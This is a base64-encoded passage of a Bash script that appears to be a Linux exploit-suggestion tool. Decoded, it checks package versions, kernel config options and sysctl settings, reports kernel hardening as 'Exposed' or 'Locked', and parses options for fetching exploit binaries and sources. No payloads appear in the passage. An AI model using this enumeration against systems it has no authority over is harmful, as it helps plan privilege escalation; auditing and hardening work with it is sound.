GVsaWYgWyAiJGRpc3RybyIgPSAiUkhFTCIgLW8gIiRkaXN0cm8iID0gImZlZG9yYSIgLW8gIiRkaXN0cm8iID0gIm1hZ2VpYSIgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQocnBtIC1xYSkKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiYXJjaCIgLW8gIiRkaXN0cm8iID0gIm1hbmphcm8iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKHBhY21hbiAtUSB8IGF3ayAne3ByaW50ICQxIi0iJDJ9JykKICAgIGVsaWYgWyAteCAvdXNyL2Jpbi9lcXVlcnkgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQoL3Vzci9iaW4vZXF1ZXJ5IC0tcXVpZXQgbGlzdCAnKicgLUYgJyRuYW1lOiR2ZXJzaW9uJyB8IGN1dCAtZC8gLWYyLSB8IGF3ayAne3ByaW50ICQxIjoiJDJ9JykKICAgIGVsc2UKICAgICAgICAjIHBhY2thZ2VzIGxpc3Rpbmcgbm90IGF2YWlsYWJsZQogICAgICAgIFBLR19MSVNUPSIiCiAgICBmaQp9CgojIGZyb206IGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzQwMjM4MzAvaG93LWNvbXBhcmUtdHdvLXN0cmluZ3MtaW4tZG90LXNlcGFyYXRlZC12ZXJzaW9uLWZvcm1hdC1pbi1iYXNoCnZlckNvbXBhcmlzaW9uKCkgewoKICAgIGlmIFtbICQxID09ICQyIF1dCiAgICB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGZpCgogICAgbG9jYWwgSUZTPS4KICAgIGxvY2FsIGkgdmVyMT0oJDEpIHZlcjI9KCQyKQoKICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMSB3aXRoIHplcm9zCiAgICBmb3IgKChpPSR7I3ZlcjFbQF19OyBpPCR7I3ZlcjJbQF19OyBpKyspKQogICAgZG8KICAgICAgICB2ZXIxW2ldPTAKICAgIGRvbmUKCiAgICBmb3IgKChpPTA7IGk8JHsjdmVyMVtAXX07IGkrKykpCiAgICBkbwogICAgICAgIGlmIFtbIC16ICR7dmVyMltpXX0gXV0KICAgICAgICB0aGVuCiAgICAgICAgICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMiB3aXRoIHplcm9zCiAgICAgICAgICAgIHZlcjJbaV09MAogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19ID4gMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMQogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19IDwgMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMgogICAgICAgIGZpCiAgICBkb25lCgogICAgcmV0dXJuIDAKfQoKZG9WZXJzaW9uQ29tcGFyaXNpb24oKSB7CiAgICBsb2NhbCByZXFWZXJzaW9uPSIkMSIKICAgIGxvY2FsIHJlcVJlbGF0aW9uPSIkMiIKICAgIGxvY2FsIGN1cnJlbnRWZXJzaW9uPSIkMyIKCiAgICB2ZXJDb21wYXJpc2lvbiAkY3VycmVudFZlcnNpb24gJHJlcVZlcnNpb24KICAgIGNhc2UgJD8gaW4KICAgICAgICAwKSBjdXJyZW50UmVsYXRpb249Jz0nOzsKICAgICAgICAxKSBjdXJyZW50UmVsYXRpb249Jz4nOzsKICAgICAgICAyKSBjdXJyZW50UmVsYXRpb249JzwnOzsKICAgIGVzYWMKCiAgICBpZiBbICIkcmVxUmVsYXRpb24iID09ICI9IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI9IiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIj4iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj4iIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPCIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI+PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPiIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI8PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZmkKfQoKY29tcGFyZVZhbHVlcygpIHsKICAgIGN1clZhbD0kMQogICAgdmFsPSQyCiAgICBzaWduPSQzCgogICAgaWYgWyAiJHNpZ24iID09ICI9PSIgXTsgdGhlbgogICAgICAgIFsgIiR2YWwiID09ICIkY3VyVmFsIiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRzaWduIiA9PSAiIT0iIF07IHRoZW4KICAgICAgICBbICIkdmFsIiAhPSAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAogICAgZmkKCiAgICByZXR1cm4gMQp9CgpjaGVja1JlcXVpcmVtZW50KCkgewogICAgI2VjaG8gIkNoZWNraW5nIHJlcXVpcmVtZW50OiAkMSIKICAgIGxvY2FsIElOPSIkMSIKICAgIGxvY2FsIHBrZ05hbWU9IiR7Mjo0fSIKCiAgICBpZiBbWyAiJElOIiA9fiBecGtnPS4qJCBdXTsgdGhlbgoKICAgICAgICAjIGFsd2F5cyB0cnVlIGZvciBMaW51eCBPUwogICAgICAgIFsgJHtwa2dOYW1lfSA9PSAibGludXgta2VybmVsIiBdICYmIHJldHVybiAwCgogICAgICAgICMgdmVyaWZ5IGlmIHBhY2thZ2UgaXMgcHJlc2VudCAKICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQogICAgICAgIGlmIFsgLW4gIiRwa2ciIF07IHRoZW4KICAgICAgICAgICAgcmV0dXJuIDAKICAgICAgICBmaQoKICAgIGVsaWYgW1sgIiRJTiIgPX4gXnZlci4qJCBdXTsgdGhlbgogICAgICAgIHZlcnNpb249IiR7SU4vL1teMC05Ll0vfSIKICAgICAgICByZXN0PSIke0lOI3Zlcn0iCiAgICAgICAgb3BlcmF0b3I9JHtyZXN0JSR2ZXJzaW9ufQoKICAgICAgICBpZiBbICIkcGtnTmFtZSIgPT0gImxpbnV4LWtlcm5lbCIgLW8gIiRvcHRfY2hlY2tzZWNfbW9kZSIgPT0gInRydWUiIF07IHRoZW4KCiAgICAgICAgICAgICMgZm9yIC0tY3ZlbGlzdC1maWxlIG1vZGUgc2tpcCBrZXJuZWwgdmVyc2lvbiBjb21wYXJpc2lvbgogICAgICAgICAgICBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgZG9WZXJzaW9uQ29tcGFyaXNpb24gJHZlcnNpb24gJG9wZXJhdG9yICRLRVJORUwgJiYgcmV0dXJuIDAKICAgICAgICBlbHNlCiAgICAgICAgICAgICMgZXh0cmFjdCBwYWNrYWdlIHZlcnNpb24gYW5kIGNoZWNrIGlmIHJlcXVpcmVtbnQgaXMgdHJ1ZQogICAgICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQoKICAgICAgICAgICAgIyBza2lwIChpZiBydW4gd2l0aCAtLXNraXAtcGtnLXZlcnNpb25zKSB2ZXJzaW9uIGNoZWNraW5nIGlmIHBhY2thZ2Ugd2l0aCBnaXZlbiBuYW1lIGlzIGluc3RhbGxlZAogICAgICAgICAgICBbICIkb3B0X3NraXBfcGtnX3ZlcnNpb25zIiA9ICJ0cnVlIiAtYSAtbiAiJHBrZyIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgIyB2ZXJzaW9uaW5nOgogICAgICAgICAgICAjZWNobyAicGtnOiAkcGtnIgogICAgICAgICAgICBwa2dWZXJzaW9uPSQoZWNobyAiJHBrZyIgfCBncmVwIC1FIC1pIC1vIC1lICctW1wuMC05XCs6cF0rWy1cK10nIHwgY3V0IC1kJzonIC1mMiB8IHNlZCAncy9bXCstXS8vZycgfCBzZWQgJ3MvcFswLTldLy9nJykKICAgICAgICAgICAgI2VjaG8gInZlcnNpb246ICRwa2dWZXJzaW9uIgogICAgICAgICAgICAjZWNobyAib3BlcmF0b3I6ICRvcGVyYXRvciIKICAgICAgICAgICAgI2VjaG8gInJlcXVpcmVkIHZlcnNpb246ICR2ZXJzaW9uIgogICAgICAgICAgICAjZWNobwogICAgICAgICAgICBkb1ZlcnNpb25Db21wYXJpc2lvbiAkdmVyc2lvbiAkb3BlcmF0b3IgJHBrZ1ZlcnNpb24gJiYgcmV0dXJuIDAKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBeeDg2XzY0JCBdXSAmJiBbICIkQVJDSCIgPT0gIng4Nl82NCIgLW8gIiRBUkNIIiA9PSAiIiBdOyB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGVsaWYgW1sgIiRJTiIgPX4gXng4NiQgXV0gJiYgWyAiJEFSQ0giID09ICJpMzg2IiAtbyAiJEFSQ0giID09ICJpNjg2IiAtbyAiJEFSQ0giID09ICIiIF07IHRoZW4KICAgICAgICByZXR1cm4gMAogICAgZWxpZiBbWyAiJElOIiA9fiBeQ09ORklHXy4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgc2V0KSBvciBpZiB1c2VyIHNhaWQgc28gKC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgIyBpZiBrZXJuZWwgY29uZmlnIElTIGF2YWlsYWJsZToKICAgICAgICBpZiBbIC1uICIkS0NPTkZJRyIgXTsgdGhlbgogICAgICAgICAgICBpZiAkS0NPTkZJRyB8IGdyZXAgLUUgLXFpICRJTjsgdGhlbgogICAgICAgICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgICAgICMgcmVxdWlyZWQgb3B0aW9uIHdhc24ndCBmb3VuZCwgZXhwbG9pdCBpcyBub3QgYXBwbGljYWJsZQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICAgICAgZmkKICAgICAgICAjIGNvbmZpZyBpcyBub3QgYXZhaWxhYmxlCiAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBec3lzY3RsOi4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgbW9kZXMpIG9yIGlmIHVzZXIgc2FpZCBzbyAoLS1za2lwLW1vcmUtY2hlY2tzKQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICBzeXNjdGxDb25kaXRpb249IiR7SU46N30iCgogICAgICAgICMgZXh0cmFjdCBzeXNjdGwgZW50cnksIHJlbGF0aW9uIHNpZ24gYW5kIHJlcXVpcmVkIHZhbHVlCiAgICAgICAgaWYgZWNobyAkc3lzY3RsQ29uZGl0aW9uIHwgZ3JlcCAtcWkgIiE9IjsgdGhlbgogICAgICAgICAgICBzaWduPSIhPSIKICAgICAgICBlbGlmIGVjaG8gJHN5c2N0bENvbmRpdGlvbiB8IGdyZXAgLXFpICI9PSI7IHRoZW4KICAgICAgICAgICAgc2lnbj0iPT0iCiAgICAgICAgZWxzZQogICAgICAgICAgICBleGl0V2l0aEVyck1zZyAiV3Jvbmcgc3lzY3RsIGNvbmRpdGlvbi4gVGhlcmUgaXMgc3ludGF4IGVycm9yIGluIHlvdXIgZmVhdHVyZXMgREIuIEFib3J0aW5nLiIKICAgICAgICBmaQogICAgICAgIHZhbD0kKGVjaG8gIiRzeXNjdGxDb25kaXRpb24iIHwgYXdrIC1GICIkc2lnbiIgJ3twcmludCAkMn0nKQogICAgICAgIGVudHJ5PSQoZWNobyAiJHN5c2N0bENvbmRpdGlvbiIgfCBhd2sgLUYgIiRzaWduIiAne3ByaW50ICQxfScpCgogICAgICAgICMgZ2V0IGN1cnJlbnQgc2V0dGluZyBvZiBzeXNjdGwgZW50cnkKICAgICAgICBjdXJWYWw9JCgvc2Jpbi9zeXNjdGwgLWEgMj4gL2Rldi9udWxsIHwgZ3JlcCAiJGVudHJ5IiB8IGF3ayAtRic9JyAne3ByaW50ICQyfScpCgogICAgICAgICMgc3BlY2lhbCBjYXNlIGZvciAtLWNoZWNrc2VjIG1vZGU6IHJldHVybiAyIGlmIHRoZXJlIGlzIG5vIHN1Y2ggc3dpdGNoIGluIHN5c2N0bAogICAgICAgIFsgLXogIiRjdXJWYWwiIC1hICIkb3B0X2NoZWNrc2VjX21vZGUiID0gInRydWUiIF0gJiYgcmV0dXJuIDIKCiAgICAgICAgIyBmb3Igb3RoZXIgbW9kZXM6IHNraXAgaWYgdGhlcmUgaXMgbm8gc3VjaCBzd2l0Y2ggaW4gc3lzY3RsCiAgICAgICAgWyAteiAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAoKICAgICAgICAjIGNvbXBhcmUgJiByZXR1cm4gcmVzdWx0CiAgICAgICAgY29tcGFyZVZhbHVlcyAkY3VyVmFsICR2YWwgJHNpZ24gJiYgcmV0dXJuIDAKCiAgICBlbGlmIFtbICIkSU4iID1+IF5jbWQ6LiokIF1dOyB0aGVuCgogICAgICAgICMgc2tpcCBpZiBjaGVjayBpcyBub3QgYXBwbGljYWJsZSAoLWsgb3IgLS11bmFtZSBvciAtcCBtb2Rlcykgb3IgaWYgdXNlciBzYWlkIHNvICgtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJ0cnVlIiBdICYmIHJldHVybiAwCgogICAgICAgIGNtZD0iJHtJTjo0fSIKICAgICAgICBpZiBldmFsICIke2NtZH0iOyB0aGVuCiAgICAgICAgICAgIHJldHVybiAwCiAgICAgICAgZmkKICAgIGZpCgogICAgcmV0dXJuIDEKfQoKZ2V0S2VybmVsQ29uZmlnKCkgewoKICAgIGlmIFsgLWYgL3Byb2MvY29uZmlnLmd6IF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iemNhdCAvcHJvYy9jb25maWcuZ3oiCiAgICBlbGlmIFsgLWYgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAgXSA7IHRoZW4KICAgICAgICBLQ09ORklHPSJjYXQgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAiCiAgICBlbGlmIFsgLWYgIiR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ii8uY29uZmlnIF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iY2F0ICR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ly5jb25maWciCiAgICBlbHNlCiAgICAgICAgS0NPTkZJRz0iIgogICAgZmkKfQoKY2hlY2tzZWNNb2RlKCkgewoKICAgIE1PREU9MAoKICAgICMgc3RhcnQgYW5hbHlzaXMKZm9yIEZFQVRVUkUgaW4gIiR7RkVBVFVSRVNbQF19IjsgZG8KCiAgICAjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRGRUFUVVJFIgoKCSMgbW9kZXM6IGtlcm5lbC1mZWF0dXJlICgxKSB8IGh3LWZlYXR1cmUgKDIpIHwgM3JkcGFydHktZmVhdHVyZSAoMykgfCBhdHRhY2stc3VyZmFjZSAoNCkKICAgIE5BTUU9IiR7YXJyWzBdfSIKICAgIFBSRV9OQU1FPSIke05BTUU6MDo4fSIKICAgIE5BTUU9IiR7TkFNRTo5fSIKICAgIGlmIFsgIiR7UFJFX05BTUV9IiA9ICJzZWN0aW9uOiIgXTsgdGhlbgoJCSMgYWR2YW5jZSB0byBuZXh0IE1PREUKCQlNT0RFPSQoKCRNT0RFICsgMSkpCgogICAgICAgIGVjaG8KICAgICAgICBlY2hvIC1lICIke2JsZHdodH0ke05BTUV9JHt0eHRyc3R9IgogICAgICAgIGVjaG8KICAgICAgICBjb250aW51ZQogICAgZmkKCiAgICBBVkFJTEFCTEU9IiR7YXJyWzFdfSIgJiYgQVZBSUxBQkxFPSIke0FWQUlMQUJMRToxMX0iCiAgICBFTkFCTEU9JChlY2hvICIkRkVBVFVSRSIgfCBncmVwICJlbmFibGVkOiAiIHwgYXdrIC1GJ2VkOiAnICd7cHJpbnQgJDJ9JykKICAgIGFuYWx5c2lzX3VybD0kKGVjaG8gIiRGRUFUVVJFIiB8IGdyZXAgImFuYWx5c2lzLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCgogICAgIyBzcGxpdCBsaW5lIHdpdGggYXZhaWxhYmlsaXR5IHJlcXVpcmVtZW50cyAmIGxvb3AgdGhydSBhbGwgYXZhaWxhYmlsaXR5IHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBJRlM9JywnIHJlYWQgLXIgLWEgYXJyYXkgPDw8ICIkQVZBSUxBQkxFIgogICAgQVZBSUxBQkxFX1JFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9MAoJQ09ORklHPSIiCiAgICBmb3IgUkVRIGluICIke2FycmF5W0BdfSI7IGRvCgoJCSMgZmluZCBDT05GSUdfIG5hbWUgKGlmIHByZXNlbnQpIGZvciBjdXJyZW50IGZlYXR1cmUgKG9ubHkgZm9yIGRpc3BsYXkgcHVycG9zZXMpCgkJaWYgWyAteiAiJENPTkZJRyIgXTsgdGhlbgoJCQljb25maWc9JChlY2hvICIkUkVRIiB8IGdyZXAgIkNPTkZJR18iKQoJCQlbIC1uICIkY29uZmlnIiBdICYmIENPTkZJRz0iKCQoZWNobyAkUkVRIHwgY3V0IC1kJz0nIC1mMSkpIgoJCWZpCgogICAgICAgIGlmIChjaGVja1JlcXVpcmVtZW50ICIkUkVRIik7IHRoZW4KICAgICAgICAgICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9JCgoJEFWQUlMQUJMRV9QQVNTRURfUkVRICsgMSkpCiAgICAgICAgZWxzZQogICAgICAgICAgICBicmVhawogICAgICAgIGZpCiAgICBkb25lCgogICAgIyBzcGxpdCBsaW5lIHdpdGggZW5hYmxlbWVudCByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIGVuYWJsZW1lbnQgcmVxcyBvbmUgYnkgb25lICYgY2hlY2sgd2hldGhlciBpdCBpcyBtZXQKICAgIEVOQUJMRV9QQVNTRURfUkVRPTAKICAgIEVOQUJMRV9SRVFTX05VTT0wCiAgICBub1N5c2N0bD0wCiAgICBpZiBbIC1uICIkRU5BQkxFIiBdOyB0aGVuCiAgICAgICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJEVOQUJMRSIKICAgICAgICBFTkFCTEVfUkVRU19OVU09JHsjYXJyYXlbQF19CiAgICAgICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwogICAgICAgICAgICBjbWRTdGRvdXQ9JChjaGVja1JlcXVpcmVtZW50ICIkUkVRIikKICAgICAgICAgICAgcmV0VmFsPSQ/CiAgICAgICAgICAgIGlmIFsgJHJldFZhbCAtZXEgMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBFTkFCTEVfUEFTU0VEX1JFUT0kKCgkRU5BQkxFX1BBU1NFRF9SRVEgKyAxKSkKICAgICAgICAgICAgZWxpZiBbICRyZXRWYWwgLWVxIDIgXTsgdGhlbgogICAgICAgICAgICAjIHNwZWNpYWwgY2FzZTogc3lzY3RsIGVudHJ5IGlzIG5vdCBwcmVzZW50IG9uIGdpdmVuIHN5c3RlbTogc2lnbmFsIGl0IGFzOiBOL0EKICAgICAgICAgICAgICAgIG5vU3lzY3RsPTEKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZG9uZQogICAgZmkKCiAgICBmZWF0dXJlPSQoZWNobyAiJEZFQVRVUkUiIHwgZ3JlcCAiZmVhdHVyZTogIiB8IGN1dCAtZCcgJyAtZiAyLSkKCiAgICBpZiBbIC1uICIkY21kU3Rkb3V0IiBdOyB0aGVuCiAgICAgICAgaWYgWyAkY21kU3Rkb3V0IC1lcSAwIF07IHRoZW4KICAgICAgICAgICAgc3RhdGU9IlsgJHt0eHRyZWR9U2V0IHRvICRjbWRTdGRvdXQke3R4dHJzdH0gXSIKCQkJY21kU3Rkb3V0PSIiCiAgICAgICAgZWxzZQogICAgICAgICAgICBzdGF0ZT0iWyAke3R4dGdybn1TZXQgdG8gJGNtZFN0ZG91dCR7dHh0cnN0fSBdIgoJCQljbWRTdGRvdXQ9IiIKICAgICAgICBmaQogICAgZWxzZQoKCXVua25vd249IlsgJHt0eHRncmF5fVVua25vd24ke3R4dHJzdH0gIF0iCgoJIyBmb3IgM3JkIHBhcnR5ICgzKSBtb2RlIGRpc3BsYXkgIk4vQSIgb3IgIkVuYWJsZWQiCglpZiBbICRNT0RFIC1lcSAzIF07IHRoZW4KICAgICAgICAgICAgZW5hYmxlZD0iWyAke3R4dGdybn1FbmFibGVkJHt0eHRyc3R9ICAgXSIKICAgICAgICAgICAgZGlzYWJsZWQ9IlsgICAke3R4dGdyYXl9Ti9BJHt0eHRyc3R9ICAgIF0iCgogICAgICAgICMgZm9yIGF0dGFjay1zdXJmYWNlICg0KSBtb2RlIGRpc3BsYXkgIkxvY2tlZCIgb3IgIkV4cG9zZWQiCiAgICAgICAgZWxpZiBbICRNT0RFIC1lcSA0IF07IHRoZW4KICAgICAgICAgICBlbmFibGVkPSJbICR7dHh0cmVkfUV4cG9zZWQke3R4dHJzdH0gIF0iCiAgICAgICAgICAgZGlzYWJsZWQ9IlsgJHt0eHRncm59TG9ja2VkJHt0eHRyc3R9ICAgXSIKCgkjIG90aGVyIG1vZGVzIiAiRGlzYWJsZWQiIC8gIkVuYWJsZWQiCgllbHNlCgkJZW5hYmxlZD0iWyAke3R4dGdybn1FbmFibGVkJHt0eHRyc3R9ICBdIgoJCWRpc2FibGVkPSJbICR7dHh0cmVkfURpc2FibGVkJHt0eHRyc3R9IF0iCglmaQoKCWlmIFsgLXogIiRLQ09ORklHIiAtYSAiJEVOQUJMRV9SRVFTX05VTSIgPSAwIF07IHRoZW4KCSAgICBzdGF0ZT0kdW5rbm93bgogICAgZWxpZiBbICRBVkFJTEFCTEVfUEFTU0VEX1JFUSAtZXEgJEFWQUlMQUJMRV9SRVFTX05VTSAtYSAkRU5BQkxFX1BBU1NFRF9SRVEgLWVxICRFTkFCTEVfUkVRU19OVU0gXTsgdGhlbgogICAgICAgIHN0YXRlPSRlbmFibGVkCiAgICBlbHNlCiAgICAgICAgc3RhdGU9JGRpc2FibGVkCglmaQoKICAgIGZpCgogICAgZWNobyAtZSAiICRzdGF0ZSAkZmVhdHVyZSAke3dodH0ke0NPTkZJR30ke3R4dHJzdH0iCiAgICBbIC1uICIkYW5hbHlzaXNfdXJsIiBdICYmIGVjaG8gLWUgIiAgICAgICAgICAgICAgJGFuYWx5c2lzX3VybCIKICAgIGVjaG8KCmRvbmUKCn0KCmRpc3BsYXlFeHBvc3VyZSgpIHsKICAgIFJBTks9JDEKCiAgICBpZiBbICIkUkFOSyIgLWdlIDYgXTsgdGhlbgogICAgICAgIGVjaG8gImhpZ2hseSBwcm9iYWJsZSIKICAgIGVsaWYgWyAiJFJBTksiIC1nZSAzIF07IHRoZW4KICAgICAgICBlY2hvICJwcm9iYWJsZSIKICAgIGVsc2UKICAgICAgICBlY2hvICJsZXNzIHByb2JhYmxlIgogICAgZmkKfQoKIyBwYXJzZSBjb21tYW5kIGxpbmUgcGFyYW1ldGVycwpBUkdTPSQoZ2V0b3B0IC0tb3B0aW9ucyAkU0hPUlRPUFRTICAtLWxvbmdvcHRpb25zICRMT05HT1BUUyAtLSAiJEAiKQpbICQ/ICE9IDAgXSAmJiBleGl0V2l0aEVyck1zZyAiQWJvcnRpbmcuIgoKZXZhbCBzZXQgLS0gIiRBUkdTIgoKd2hpbGUgdHJ1ZTsgZG8KICAgIGNhc2UgIiQxIiBpbgogICAgICAgIC11fC0tdW5hbWUpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIFVOQU1FX0E9IiQxIgogICAgICAgICAgICBvcHRfdW5hbWVfc3RyaW5nPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtVnwtLXZlcnNpb24pCiAgICAgICAgICAgIHZlcnNpb24KICAgICAgICAgICAgZXhpdCAwCiAgICAgICAgICAgIDs7CiAgICAgICAgLWh8LS1oZWxwKQogICAgICAgICAgICB1c2FnZSAKICAgICAgICAgICAgZXhpdCAwCiAgICAgICAgICAgIDs7CiAgICAgICAgLWZ8LS1mdWxsKQogICAgICAgICAgICBvcHRfZnVsbD10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWd8LS1zaG9ydCkKICAgICAgICAgICAgb3B0X3N1bW1hcnk9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1ifC0tZmV0Y2gtYmluYXJpZXMpCiAgICAgICAgICAgIG9wdF9mZXRjaF9iaW5zPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtc3wtLWZldGNoLXNvdXJjZXMpCiAgICAgICAgICAgIG9wdF9mZXRjaF9zcmNzPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAta3wtLWtlcm5lbCkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgS0VSTkVMPSIkMSIKICAgICAgICAgICAgb3B0X2tlcm5lbF92ZXJzaW9uPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtZHwtLXNob3ctZG9zKQogICAgICAgICAgICBvcHRfc2hvd19kb3M9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1wfC0tcGtnbGlzdC1maWxlKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBQS0dMSVNUX0ZJTEU9IiQxIgogICAgICAgICAgICBvcHRfcGtnbGlzdF9maWxlPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLWN2ZWxpc3QtZmlsZSkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgQ1ZFTElTVF9GSUxFPSIkMSIKICAgICAgICAgICAgb3B0X2N2ZWxpc3RfZmlsZT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1jaGVja3NlYykKICAgICAgICAgICAgb3B0X2NoZWNrc2VjX21vZGU9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0ta2VybmVsc3BhY2Utb25seSkKICAgICAgICAgICAgb3B0X2tlcm5lbF9vbmx5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXVzZXJzcGFjZS1vbmx5KQogICAgICAgICAgICBvcHRfdXNlcnNwYWNlX29ubHk9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICAgICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tc2tpcC1wa2ctdmVyc2lvbnMpCiAgICAgICAgICAgIG9wdF9za2lwX3BrZ192ZXJzaW9ucz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgaWYgWyAiJCMiICE9ICIwIiBdOyB0aGVuCiAgICAgICAgICAgICAgICBleGl0V2l0aEVyck1zZyAiVW5rbm93biBvcHRpb24gJyQxJy4gQWJvcnRpbmcuIgogICAgICAgICAgICBmaQogICAgICAgICAgICBicmVhawogICAgICAgICAgICA7OwogICAgZXNhYwogICAgc2hpZnQKZG9uZQoKIyBjaGVjayBCYXNoIHZlcnNpb24gKGFzc29jaWF0aXZlIGFycmF5cyBuZWVkIEJhc2ggaW4gdmVyc2lvbiA0LjArKQppZiAoKEJBU0hfVkVSU0lORk9bMF0gPCA0KSk7IHRoZW4KICAgIGV4aXRXaXRoRXJyTXNnICJTY3JpcHQgbmVlZHMgQmFzaCBpbiB2ZXJzaW9uIDQuMCBvciBuZXdlci4gQWJvcnRpbmcuIgp